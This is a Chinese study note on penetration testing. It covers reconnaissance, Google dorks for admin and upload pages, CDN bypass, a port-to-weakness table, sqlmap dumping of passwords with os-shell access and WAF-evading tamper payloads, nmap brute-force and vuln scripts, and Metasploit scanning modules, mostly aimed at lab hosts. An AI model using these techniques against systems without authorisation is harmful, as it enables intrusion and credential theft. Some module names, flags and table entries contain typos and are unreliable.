渗透测试学习笔记

本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任。

信息收集

收集域名信息

  1. Whois查询

    kali:whois baidu.com

    爱站工具网:https://whois.aizhan.com

    站长之家:http://whois.chinaz.com

    VirusTotal:https://www.virustotal.com

  2. 备案信息查询

    ICP备案查询网:http://www.beianbeian.com

    天眼查:http://www.tianyancha.com

    站长工具:https://icp.chinaz.com

收集敏感信息

Google语法

site:可以限制你搜索范围的域名;

inurl:用于搜索网页上包含的URL,这个语法对寻找网页上的搜索,帮助之类的很有用;

intext: 只搜索网页<body>部分中包含的文字(也就是忽略了标题、URL等的文字);

intitle: 查包含关键词的页面,一般用于社工别人的webshell密码;

filetype:搜索文件的后缀或者扩展名;

intitle:限制你搜索的网页标题;

查找后台地址:

site:域名inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms

查找文本内容:

site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|admin|login|sys|managetem|password|username

查找可注入点:

site:域名 inurl:aspx|jsp|php|asp

查找上传漏洞:

site:域名 inurl:file|load|editor|Files

找eweb编辑器:

site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit

存在的数据库:

site:域名 filetype:mdb|asp|#

查看脚本类型:

site:域名 filetype:asp/aspx/php/jsp

迂回策略入侵:

inurl:cms/data/templates/images/index/

乌云漏洞表:https://wooyun.shuimugan.com

收集子域名信息

  1. 子域名检测工具

    Layer子域名挖掘机、K8、wydomain、Sublist3r、dnsmaper、subDomainsBrute、Maltego CE等

  2. 搜索引擎枚举

    如利用google语法搜索子域名:site:baidu.com

  3. 第三方聚合工具枚举

    如DNSSdumpster网、在线DNS侦查

  4. 证书透明度

    crt.sh:https://crt.sh

    censys:https://censys.io

收集常用端口信息

nmap、无状态端口扫描工具Masscan、ZMap、御剑告诉TCP端口扫描工具

端口号漏洞名称
21FTP弱密码
22SSH弱密码
23telnet弱密码
25邮件伪造、vrfy/expn查询邮件用户信息、可使用smtp-user-enum工具来自动跑
53允许区域传送、dns劫持、缓存投毒、欺骗以及各种基于dns隧道的远控
69尝试下载目标及其的各类重要配置文件
80-89、443、8440-8450、8080-8089应用服务器端口可尝试经典的topn、vpn、owa、webmail、目标oa、Java控制台、服务器Web管理面板、Web中间件漏洞利用、Web框架漏洞利用等等
110POP3可尝试爆破、嗅探
111、2049NFS 权限配置不当
137、139、445SMB 尝试爆破以及smb自身的各种远程执行类漏洞利用、如、ms08-067、ms17-010、嗅探等……
143IMAP
161snmp默认团体名/弱口令漏洞
389LDAP、ILS
443poodle漏洞:ssl3协议禁用
445ms17-010、ms08-067
464kpasswd Kerberos 口令和钥匙改换服务
512、513、514Linux rexec 可爆破、rlogin登陆
554RTSP
873Rsync未授权访问、匿名访问、文件上传
1194OpenVPN想办法钓VPN账号、进内网
1352Lotus
1433SQL弱口令、信息泄漏、爆破
1500ISPmanager
1521Oracle注入、提权、sa弱口令、爆破
1723PPTP弱口令
2082、2083cPanel 弱口令
2181ZooKeeper弱口令
2601、2604Zebra 默认密码zerbra
3128Squid默认密码zerbra
3306mysql弱密码
3312、3311kangle 弱口令
3389ms12-020、Windows注入、提权、爆破
3690SVN svn泄露、未授权访问
4848GlassFish 弱口令
5000Sybase/DB2爆破、注入
5432PostgreSQL爆破、注入
5900、5901、5902VNC 弱口令爆破
5984CouchDB远程代码执行、弱口令爆破
6379redis未授权访问
7001、7002WebLogic反序列化漏洞(cve-2018-2893)
7778KloxoJava反序列化、弱口令
8000Ajenti主机面板登录
8069Zabbix弱口令
8080-8089Jenkins、JBoss
8161activemq后台弱密码漏洞
8393solr
8443Plesk弱口令
9080、9081、9090WebSphere(应用服务器) Java反序列化/弱口令
9200、9300Elasticsearch未授权访问漏洞、任意文件读取、远程命令执行
11211Memcached 未授权访问
27017、27018MongoDB 爆破、未授权访问
50070、50030Hadoop爆破、未授权访问
61616(ActiveMQ消息队列端口)ActiveMQ反序列化漏洞(CVE-2015-5254)

指纹识别

御剑web指纹识别、WhatWeb、WebRobo、椰树等

bugScaner:http://whatweb.bugscaner.com/look/

云悉指纹:http://www.yunsee.cn/finger.html

WhatWeb:https://whatweb.net/

查找真实IP

  1. 判断目标是否使用了CDN

    利用在线网站17CE(https://www.17ce.com)进行全国多地区的ping服务操作。

  2. 绕过CDN寻找真实IP

    1. 内部邮箱源

      一般邮箱系统都在内部,没有经过CDN的解析。

    2. 扫描网站测试文件

      如phpinfo、test等。

    3. 分站扫描

      一般只主站挂CDN,分站没有。

    4. 国外访问

      国内的CDN往往只对国内用户的访问加速。

      国外在线代理网站App Synthetic Monitor(https://asm.ca.com/en/ping.php)

    5. 查询域名的解析记录

      也行域名很久以前没有用过CDN,所以可以查询域名的IP记录

      网站NETCRAFT(https://www.netcraft.com)

    6. 利用APP查询

      如果目标网站有自己的APP,可以尝试使用Fiddler或者Burp抓包看APP请求

    7. 绕过CloudFlare CDN查找真实IP

      很多网站都使用CloudFlare提供的CDN服务,在确定目标网站使用CDN后,可以先尝试使用在线网站CloudFlareWatch()

收集敏感目录文件

工具有DirBuster、御剑后台扫描、wwwscan、Spinder.py、Sensitivefilescan、Weakfilescan等

社会工程学

可以收集邮件、QQ、电话号码、姓名等信息

可以利用社工库查询想要的信息

常用渗透测试工具

SQLMap

  1. 注入access数据库常用的参数

    sqlmap.py -u “url” //判断参数是否存在注入

    sqlmap.py -u “url” --tables //猜解表名

    sqlmap.py -u “url” --columns -T “要猜解的表名” //猜解列名

    sqlmap.py -u “url” --dump -C “列名” -T “表名” //爆出字段数据

  2. 注入MySQL数据库常用参数

    sqlmap.py -u “url” //判断参数是否存在注入

    sqlmap.py -u “url” --current-db //查看网站当前数据库

    sqlmap.py -u “url” --is-dba //查看当前用户权限

    sqlmap.py -u “url” --tables //猜解表名

    sqlmap.py -u “url” --columns -T “要猜解的表名” //猜解列名

    sqlmap.py -u “url” --dump -C “列名” -T “表名” //爆出字段数据

  3. 一些常用参数集合

    –help //查看帮助选项

    –dbs //查看网站所有数据库

    –users //查看所有数据库的用户

    –count //统计条数 (该条命令可用在爆表名的时候,便于查看哪个是管理员的表)

    –level //测试等级(1-5)默认是1,cookie注入是2,http头注入是3

    –dbms=mysql/oracle/mssql 指定数据库(这样既可以节省时间,在某些时候也可以绕过WAF)

    sqlmap.py -u “url”–batch --exclude-sysdbs //batch是使用sqlmap默认选项,不用按回车;exclude-sysdbs是排除系统自带的数据库

    显示调式信息

    -v 显示调用信息有7个级别:

    0只显示python错误以及严重的信息
    1同时显示基本信息和警告信息。
    2同时显示debug信息
    3同时显示注入的payload
    4同时显示http请求
    5同时显示http响应头
    6同时显示http响应页面
    

    –risk //风险等级,共有四个等级,1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的sql注入测试

    -m //从文本中获取多个目标,文件中保存url格式,sqlmap会一个一个测试 sqlmap.py -m 1.txt

    -r //获取http请求注入,sqlmap可以从一个文本文件中获取http请求,这样就可以跳过设置一些其他参数,在存在注入的http请求头加*。

    利用的场景:post,搜索注入,http头注入,登陆后的注入(在登录后存在注入点,因为只有在登录后才有cookie)

    -g //处理google搜索结果, sqlmap可以测试注入google的搜索结果中的get参数(前100个请求) sqlmap.py -g “inurl:php?id=”

入门内容

  1. 判断是否存在注入

    sqlmap -u http://localhost/sqlilabs/Less-1/?id=1
    

    当注入点后面的参数大于等于两个时,需要加双引号

    sqlmap -u "http://localhost/sqlilabs/Less-1/?id=1&uid=2"
    
  2. 判断文本中的请求是否存在注入

    sqlmap -r desktop/1.txt
    
  3. 查询当前用户下的所有数据库

    sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --dbs
    
  4. 查询数据库中的表名

    sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 -D security --tables
    
  5. 获取表中的字段名

    sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 -D security -T users --columns
    
  6. 获取字段内容

    sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 -D security -T users -C username,password --dump
    
  7. 获取数据库的所有用户

    sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --users
    
  8. 获取数据库用户的密码

    sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --passwords
    
  9. 获取当前网站数据库的名称

    sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --current-db
    
  10. 获取当前网站数据库的用户名称

    sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --current-user
    

进阶内容

  1. --level 5:探测等级

    指需要执行的测试等级,不加时默认为1。SQLMap使用的Payload可以在xml/payloads.xml中看到,也可以根据相应的格式自己添加payload。其中5级包含的payload最多,会自动破解出cookie、XFF等头部注入。

  2. --is-dba:查看当前账户是否为管理员权限

    如果是则返回True

  3. --roles:列出数据库管理员角色

    该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色。该命令仅适用于当前数据库是Oracle的时候。

  4. --referer:HTTP Referer头

    SQLMap可以在请求中伪造HTTP中的referer,当--feferer参数设定为3或者3以上时,会尝试对referer注入。可以使用该命令来欺骗,如:--erferer http://www.baidu.com

  5. sql-shell:运行自定义SQL语句

    用于执行指定的SQL语句,如:sqlmap -u "http://localhost/sqlilabs/Less-1/?id=1" --sql-shell

  6. os-cmd、--os-shell:运行任意操作系统命令

    当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库在mysql、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。

    使用该命令的两个条件:

    1. 当前账户为管理员权限
    2. secure_file_priv为任意读写状态,即为空
      1. 查询状态命令:show global variables like '%secure%';
      2. 在my.ini文件中修改,修改后重启数据库
  7. --file-read:从数据库服务器中读取文件

    当数据库为MySQL、PostgreSQL或者Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

  8. --file-write、--file-dest:上传文件到数据库服务器中

    当数据库为MySQL、PostgreSQL或者Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。

绕过脚本

SQLMap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改,我们可以使用--tamper参数对数据做修改来绕过WAF等设备,大部分脚本主要使用正则模块替换攻击载荷字符编码的方式来绕过检测规则。

sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --tamper "space2plus.py"
apostrophemask.py

适用数据库:ALL
作用:将引号替换为 utf-8,用于过滤单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

base64encode.py

适用数据库:ALL
作用:替换为 base64 编码
使用脚本前:tamper("1' AND SLEEP(5)#")
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==

multiplespaces.py

适用数据库:ALL
作用:围绕 sql 关键字添加多个空格
使用脚本前:tamper('1 UNION SELECT foobar')
使用脚本后:1 UNION SELECT foobar

space2plus.py

适用数据库:ALL
作用:用加号替换空格
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT+id+FROM+users

nonrecursivereplacement.py

适用数据库:ALL
作用:作为双重查询语句,用双重语句替代预定义的 sql 关键字(适用于非常弱的自定义过滤器,例如将 select 替换为空)
使用脚本前:tamper('1 UNION SELECT 2--')
使用脚本后:1 UNIOUNIONN SELESELECTCT 2--

space2randomblank.py

适用数据库:ALL
作用:将空格替换为其他有效字符
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Did%0DFROM%0Ausers

unionalltounion.py

适用数据库:ALL
作用:将union allselect 替换为unionselect
使用脚本前:tamper('-1 UNION ALL SELECT')
使用脚本后:-1 UNION SELECT

securesphere.py

适用数据库:ALL
作用:追加特定的字符串
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1 and '0having'='0having'

space2dash.py

适用数据库:ALL
作用:将空格替换为--,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227

space2mssqlblank.py

适用数据库:Microsoft SQL Server
测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用:将空格随机替换为其他空格符号('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Eid%0DFROM%07users

between.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:用NOT BETWEEN 0 AND #替换>
使用脚本前:tamper('1 AND A > B--')
使用脚本后:1 AND A NOT BETWEEN 0 AND B--

pecentage.py

适用数据库:ASP
测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
作用:在每个字符前添加一个%
使用脚本前:tamper('SELECT FIELD FROM TABLE')
使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

sp_password.py

适用数据库:MSSQL
作用:从 T-SQL 日志的自动迷糊处理的有效载荷中追加 sp_password
使用脚本前:tamper('1 AND 9227=9227-- ')
使用脚本后:1 AND 9227=9227-- sp_password

charencode.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:对给定的 payload 全部字符使用 url 编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

randomcase.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:随机大小写
使用脚本前:tamper('INSERT')
使用脚本后:INseRt

charunicodeencode.py

适用数据库:ASP、ASP.NET
测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用:适用字符串的 unicode 编码
使用脚本前:tamper('SELECT FIELD%20FROM TABLE')
使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

space2comment.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将空格替换为/**/
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT/**/id/**/FROM/**/users

equaltolike.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用:将=替换为LIKE
使用脚本前:tamper('SELECT * FROM users WHERE id=1')
使用脚本后:SELECT * FROM users WHERE id LIKE 1

equaltolike.py

测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将>替换为 GREATEST,绕过对>的过滤
使用脚本前:tamper('1 AND A > B')
使用脚本后:1 AND GREATEST(A,B+1)=A

ifnull2ifisnull.py

适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
测试通过数据库:MySQL 5.0 and 5.5
作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
使用脚本前:tamper('IFNULL(1, 2)')
使用脚本后:IF(ISNULL(1),2,1)

modsecurityversioned.py

适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:过滤空格,使用 mysql 内联注释的方式进行注入
使用脚本前:tamper('1 AND 2>1--')
使用脚本后:1 /*!30874AND 2>1*/--

space2mysqlblank.py

适用数据库:MySQL
测试通过数据库:MySQL 5.1
作用:将空格替换为其他空格符号('%09', '%0A', '%0C', '%0D', '%0B')
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Bid%0DFROM%0Cusers

modsecurityzeroversioned.py

适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:使用内联注释方式(/*!00000*/)进行注入
使用脚本前:tamper('1 AND 2>1--')
使用脚本后:1 /*!00000AND 2>1*/--

space2mysqldash.py

适用数据库:MySQL、MSSQL
作用:将空格替换为 -- ,并追随一个换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1--%0AAND--%0A9227=9227

bluecoat.py

适用数据库:Blue Coat SGOS
测试通过数据库:MySQL 5.1,、SGOS
作用:在 sql 语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
使用脚本前:tamper('SELECT id FROM users where id = 1')
使用脚本后:SELECT%09id FROM users where id LIKE 1

versionedkeywords.py

适用数据库:MySQL
测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
作用:注释绕过
使用脚本前:tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

halfversionedmorekeywords.py

适用数据库:MySQL < 5.1
测试通过数据库:MySQL 4.0.18/5.0.22
作用:在每个关键字前添加 mysql 版本注释
使用脚本前:tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa

space2morehash.py

适用数据库:MySQL >= 5.1.13
测试通过数据库:MySQL 5.1.41
作用:将空格替换为#,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227

apostrophenullencode.py

适用数据库:ALL
作用:用非法双字节 Unicode 字符替换单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %00%271%00%27=%00%271

appendnullbyte.py

适用数据库:ALL
作用:在有效载荷的结束位置加载 null 字节字符编码
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1%00

chardoubleencode.py

适用数据库:ALL
作用:对给定的 payload 全部字符使用双重 url 编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

unmagicquotes.py

适用数据库:ALL
作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
使用脚本前:tamper("1' AND 1=1")
使用脚本后:1%bf%27 AND 1=1--

randomcomments.py

适用数据库:ALL
作用:用注释符分割 sql 关键字
使用脚本前:tamper('INSERT')
使用脚本后:I/**/N/**/SERT

Nmap

NMAP的功能包括:

  1. 主机发现 - 识别网络上的主机。例如,列出响应TCP和/或ICMP请求或打开特定端口的主机。
  2. 端口扫描 - 枚举目标主机上的开放端口。
  3. 版本检测 - 询问远程设备上的网络服务以确定应用程序名称和版本号。
  4. OS检测 - 确定网络设备的操作系统和硬件特性。
  5. 可与脚本进行脚本交互 - 使用Nmap脚本引擎(NSE)和Lua编程语言。

常用参数

参数(注意区分大小写)说明
-sTTCP connect()扫描,这种方式会在目标主机的日志中记录大批连接请求和错误信息。
-sS半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限。
-sF -sN秘密FIN数据包扫描、Xmas Tree、Null扫描模式
-sPping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描。
-sUUDP扫描,但UDP扫描是不可靠的
-sA这项高级的扫描方法通常用来穿过防火墙的规则集
-sV探测端口服务版本
-Pn扫描之前不需要用ping命令,有些防火墙禁止ping命令。可以使用此选项进行扫描
-v显示扫描过程,推荐使用
-h帮助选项,是最清楚的帮助文档
-p指定端口,如“1-65535、1433、135、22、80”等
-O启用远程操作系统检测,存在误报
-A全面系统检测、启用脚本检测、扫描等
-oN/-oX/-oG将报告写入文件,分别是正常、XML、grepable 三种格式
-T4针对TCP端口禁止动态扫描延迟超过10ms
-iL读取主机列表,例如,“-iL C:\ip.txt”

入门内容

  1. 扫描单个地址

    nmap 127.0.0.1
    
  2. 扫描多个目标地址

    nmap 127.0.0.1 127.0.0.2
    
  3. 扫描一个范围内的目标地址

    nmap 127.0.0.1-100
    
  4. 扫描目标地址所在网段

    nmap 127.0.0.1/24
    
  5. 扫描主机列表targets.txt中所有目标地址

    nmap -iL c:\targets.txt
    
  6. 扫描除某一个目标地址之外的所有目标地址

    nmap 127.0.0.1/24 -exclude 127.0.0.2
    
  7. 扫描除某一文件中的目标地址之外的目标地址

    nmap 127.0.0.1/24 -excludefile c:\targets.txt
    
  8. 扫描某一地址的21、22、23、80端口

    nmap 127.0.0.1 -p 21,22,23,80
    
  9. 对目标地址进行路由跟踪

    nmap --traceroute 127.0.0.1
    
  10. 扫描目标地址所在C段的在线状况

    nmap -sP 127.0.0.1/24
    
  11. 目标地址的操作系统指纹识别

    nmap -O 127.0.0.1
    
  12. 目标地址提供的服务版本检测

    nmap -sV 127.0.0.1
    
  13. 探测防火墙状态

    nmap -sF -T4 127.0.0.1
    

进阶内容

脚本介绍
  1. auth: 负责处理鉴权证书(绕开鉴权)的脚本
  2. broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
  3. brute: 提供暴力破解方式,针对常见的应用如http/snmp等
  4. default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
  5. discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
  6. dos: 用于进行拒绝服务攻击
  7. exploit: 利用已知的漏洞入侵系统
  8. external: 利用第三方的数据库或资源,例如进行whois解析
  9. fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
  10. malware: 探测目标机是否感染了病毒、开启了后门等信息
  11. safe: 此类与intrusive相反,属于安全性脚本
  12. version: 负责增强服务与版本扫描(Version Detection)功能的脚本
  13. vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
常用脚本

可以设置--script=类别进行扫描,常用参数如下。

  • -sC :采用默认配置扫描,与 --script=default参数等价

  • --script=<Lua scripts>:使用某个脚本进行扫描

  • --script-args=key1=value1,key2=value2...:该参数是用来传递脚本里面的参数的,key1 是参数名,该参数对应 value1 这个值,那么有更多的参数,使用逗号连接

  • –script-args-file=filename: 使用文件来为脚本提供参数

  • --script-trace:如果设置该参数,则显示所有的脚本

  • --script-updatedb:在 Nmap 的 scripts 目录里有一个 script.db 文件,该文件中保存了当前 Nmap 可用的脚本,类似于一个小型数据库,如果我们开启 nmap 并且调用了此参数,则 nmap 会自行扫描 scripts 目录中的扩展脚本,进行数据库更新

  • --script-help = 脚本名称调用该参数后,Nmap 会输出该脚本名称对应的脚本使用参数,以及详细介绍信息

实例
  1. 鉴权扫描

    使用--script=auth可以对目标主机或目标主机所在网段进行应用弱口令检测。

    nmap --script=auth 127.0.0.1
    

    image-20211104145946350

  2. 暴力破解攻击

    可以对数据库、SMB、SNMP等进行简单密码的暴力猜解。

    nmap --script=brute 127.0.0.1
    

    image-20211104145923939

  3. 常见漏洞的扫描

    具备漏洞扫描的功能,可以检查目标主机或网段是否存在常见的漏洞。

    nmap --script=vuln 127.0.0.1
    

    image-20211104150303362

  4. 应用服务扫描

    具备很多常见的应用服务扫描脚本,例如VNC服务、MySQL服务、Telnet服务、Rsync服务等。

    nmap --script=realvnc-auth-bypass 127.0.0.1
    

    image-20211104150431442

  5. 探测局域网内更多服务的开启情况

    输入以下命令即可探测局域网内更多服务开启的情况。

    nmap -n -p 445 --script=broadcast 127.0.0.1
    

    image-20211104161214762

  6. Whois解析

    利用第三方的数据库或者资源查询目的地址的信息,例如进行Whois解析。

    nmap -script external baidu.com
    

    image-20211104161909998

Metasploit技术

The Metasploit Framework的简称。MSF高度模块化,即框架由多个module组成,是全球最受欢迎的工具。

是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。

metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。

Metasploit可以向后端模块提供多种用来测试的接口,如:控制台、Web、CLI。通过控制台接口,可以访问和使用所有Metasploit插件,如:Payload、利用模块、Post模块等。

Metasploit还有第三方程序接口,如:Nmap、Sqlmap等,都可以直接在控制台接口里使用,通过输入msfconsole进入启动页面,如需返回初始状态可使用back命令。

使用 kali 系统时需要更新源。更新命令有 apt-get update、apt-get upgrade、apt-get dist-upgrade。

  • apt-get update:只更新软件包的索引源,作用是同步源的软件包的索引信息,从而进行软件更新。
  • apt-get upgrade:升级系统上安装的所有软件包,如果更新没成功,会保留原来的状态。
  • apt-get dist-upgrade:升级整个 Linux 系统。

Metasploit 基础

模块功能

Auxiliaries(辅助模块)

该模块只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试,不会直接在渗透测试的人和目标主机之间建立访问。

Exploit(漏洞利用模块)

漏洞利用是渗透测试的人利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。渗透攻击技术包括缓冲区溢出、Web 应用程序攻击,以及利用配置错误等,其中包含渗透测试人员针对系统中的漏洞而设计的各种 POC 验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。

Payload(攻击载荷模块)

攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或执行特定代码,在 Metasploit 框架中可以自由地选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,跳转、修改参数,添加账号等等。

Post(后期渗透模块)

用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,例如获取敏感信息、实施跳板攻击等。

Encoders(编码工具模块)

该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS 及类似的安全软件检测出来。

渗透测试攻击步骤

在使用 Metasploit Framework 渗透测试时,主要使用的五大模块对目标系统进行侦察并发动攻击。
渗透测试攻击步骤大致如下:

  1. 对目标主机系统进行扫描,寻找可以利用的漏洞。
  2. 选择并配置一个漏洞利用模块
  3. 选择并配置一个攻击载荷模块
  4. 选择一个编码技术,用来绕过杀毒软件的查杀
  5. 进行渗透攻击

主机扫描

一般来说,信息收集都是渗透测试的第一步,要尽可能多的收集目标主机的信息,信息越多越有利,渗透的概率也越大。主机扫描主要的重点是扫描目标主机 IP 地址、开放的端口、可用的服务等。

使用 Auxiliaries 辅助模块进行端口扫描

Auxiliaries 辅助模块是 Metasploit 的内置模块,首先搜索有哪些可用端口模块,命令:search portscan

image-20211105165336319

从图中可以看到可用的扫描器列表,包含了各种扫描类型,以 TCP 扫描模块为例。

使用该扫描模块,命令:use auxiliary/scanner/portscan/tcp

使用该模块后,查看需要修改的参数配置,命令:show options

image-20211105165602900

Required 列中,被标记为 yes 的参数必须包含实际的值,其中 RHOSTS设置待扫描的 IP 地址、PORTS设置扫描端口范围、THREADS设置扫描线程,线程数量越高,扫描速度越快。

对于每个参数的修改可以使用set命令,同样的可以使用unset命令取消对参数的设置。

设置被扫描主机地址:192.168.216.131

命令为:set RHOSTS 192.168.216.131

设置扫描端口范围:1-8888

命令为:set PORTS 1-8888

设置线程数量:20

命令为:set THREADS 20

查看参数是否修改成功,还是输入show options

运行模块使用命令:run

image-20211105165715667

使用 Auxiliaries 辅助模块对服务进行扫描

扫描目标主机上运行的服务时,有很多种基于服务的扫描技术可供选择,如:VNC、FTP、SMB 等,只需要执行特定类型的扫描就可以发现服务。

通过命令:search scanner可以把所有的扫描模块列表都罗列出来,有很多可以用的模块,具体操作与端口扫描模块基本相同。

常用的扫描模块及功能
模 块功 能
auxiliary/scanner/portscan端☐扫描
auxiliary/scanner/smb/smb_versionSMB 系统版本扫描
auxiliary/scanner/smb/smb_enumusersSMB 枚举
auxiliary/scanner/smb/smb_loginSMB 弱☐令扫描
auxiliary/admin/smb/psexec_commandSMB 登录且执行命令
auxiliary/scanner/ssh/ssh_loginSSH 登录测试
scanner/mssql/mssql_pingMSSQL 主机信息扫描
admin/mssql/mssql_enumMSSQL 枚举
admin/mssql/mssql_execMSSQL 执行命令
admin/mssql/mssql_sqlMSSQL 查询
scanner/mssql/mssql_loginMSSQL 弱☐令扫描
auxiliary/admin/mysql/mysql_enumMySQL 枚举
auxiliary/admin/mysql/mysql_sqlMySQL 语句执行
auxiliary/scanner/mysql/mysq_loginMySQL 弱☐令扫描
auxilaryscanner/smtp/smtp_versionSMTP 版本扫描
auxiliary/scanner/smtp/smtp_enumSMTP 枚举
auxiliaryscanner/snmp/communitySNMP 扫描设备
aularyscannertelnetelnet_loginTELNET 登录
scanner/vnc/vnc_none_authVNC 空☐令扫描

在 Metasploit 中使用 Nmap 扫描

在 Metasploit 中同样可以使用 Nmap 扫描。Nmap 不仅可以用来确定目标网络上主机的存活状态,还可以扫描计算机的操作系统、开放端口、服务等。

